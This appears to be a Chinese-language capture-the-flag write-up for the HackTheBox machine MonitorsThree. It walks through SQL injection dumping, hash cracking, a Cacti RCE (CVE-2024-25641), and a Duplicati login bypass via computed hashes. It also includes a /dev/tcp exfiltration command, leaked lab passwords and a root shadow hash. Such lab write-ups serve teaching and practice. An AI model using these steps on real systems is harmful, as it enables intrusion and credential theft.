
Recon & Enum
Nmap Scan
1 | nmap -p- --min-rate 1000 -T4 -sC -sV -O -v [ip] |
VHost Scan
1 | ffuf -u http://monitorsthree.htb/ -H "Host: FUZZ.monitorsthree.htb" -w /usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt -fs 13560 |
Cewl Scan
1 | cewl -w log/cewl_monitorsthree_htb.log http://monitorsthree.htb/ |
Shell as www-data

查看主页发现登录接口

1 | feroxbuster --no-state -u http://monitorsthree.htb/ -X php |

目录没发现什么有意思的东西,转到 cacti.monitorsthree.htb 看一下

搜索 Cacti 相关漏洞,CVE-2022-46169、CVE-2024-29895
其中 CVE-2022-46169 测试失败,目前暂时没有凭据,先看一下有没有其他洞,关于 Cacti 后台这里,不打算测试 SQL 注入,因为这个版本不是最新版,而且也没有搜到有 SQL 注入漏洞的相关信息,因此,把重点放在 monitorsthree.htb 的登录窗口中



这里明显可以看出,是存在 SQL 注入漏洞的,那么使用自动化工具跑一下

Sqlmap 可以识别注入,但是始终跑不出来,换成 ghauri 试一下

这里发现了报错注入,那速度将会飞起
1 | ghauri --batch -r forgot_pass.req --dbs |

1 | ghauri --batch -r forgot_pass.req -D monitorsthree_db --tables |

1 | ghauri --batch -r forgot_pass.req -D monitorsthree_db -T users --dump |


1 | hashcat -m 0 31a181c8372e3afc59dab863430610e8 /usr/share/wordlists/rockyou.txt |

找到管理员密码 Hash,爆破得到管理员密码 greencacti2001

根域名的后台可以登录,但是没啥功能点可利用

Cacti 的后台也可以登录,找到一个需要认证的 RCE 漏洞 CVE-2024-25641
1 |
|
将上述脚本写入到文件中,执行 php payload.php
会生成一个 test.xml.gz 文件

在导入包功能栏这里导入 test.xml.gz 文件


Local Enum


找到两份 mysql 的连接密码:cactiuser:cactiuser
、app_user:php_app_password

可以看到有个 marcus
用户
Shell as Marcus
app_user 是主域名下的服务,也就是前面 SQL 注入的数据库,因此这里使用 cactiuser 连接

在 cacti 里面找到 这个用户的 Hash,爆破一下


拿到密码了,但是无法登录 ssh,好像是设置了只有密钥登录,那么通过 su 来看一下


换成密钥就可以登录了

查看本地环境,发现两个新端口

尝试访问,发现被重定向到登录页面,而且也能看出是 Tiny WebServer 服务,大概有其他数据库。


看到 docker-compose.yml 已经把根目录挂载了,那么思路清晰
Shell as Root
可以用 cat CTADPNHLTC.sqlite > /dev/tcp/[ip]/[port]
先下载下来

先把 8200 端口代理出来,在 Duplicati-server.sqlite 中发现了一个密码,但是 Base64 解码得到了不可打印字符,这主要是和 Duplicati 的认证方式有关,在这篇文章中可以了解

先把 Server-passphrase 进行 Base64 decode + Hex Encode

输入密码,拦截登录请求,获取第一个包的响应

直接使用浏览器的 JS 获取 Hash
1 | var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('hmlBOyfckHdB69CIhVh3q/QIXqkio1xWl0iNc3vtDD8=') + '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a')).toString(CryptoJS.enc.Base64); |

放包,在第二个请求包中输入密码,并进行 Url Encode


认证成功

看到有备份功能,尝试创建新的备份


目标位置可以设置为 /source/tmp/

源数据选择 /source/root/
目录和 /source/etc/shadow
文件


得到了三个文件
1 | duplicati-xxx.dlist.zip |
首先查看 dlist.zip 压缩包中的 filelist.json 文件,其中记录了所有文件名对应的 Hash

可惜没有私钥

可以找到 flag 的位置

More
Root 权限
如何获取 root 权限呢,可以通过 Duplicati 的恢复功能,可以修改 /etc/passwd
也可以直接修改 /root/.ssh/authorized_keys
- 创建
/source/home/marcus/.ssh/authorized_keys
的备份 - 将备份恢复到
/source/root/.ssh/
目录中 - 使用 marcus 用户的私钥 ssh 登录即可

Dump Hash
1 | root:$y$j9T$3TDQ3GS5lSkNwiN4EsxVB/$Jyu3CWLTQ4mIypw/03JOtPle6vdpaoY/x6J9brbV9P4:19869:0:99999:7::: |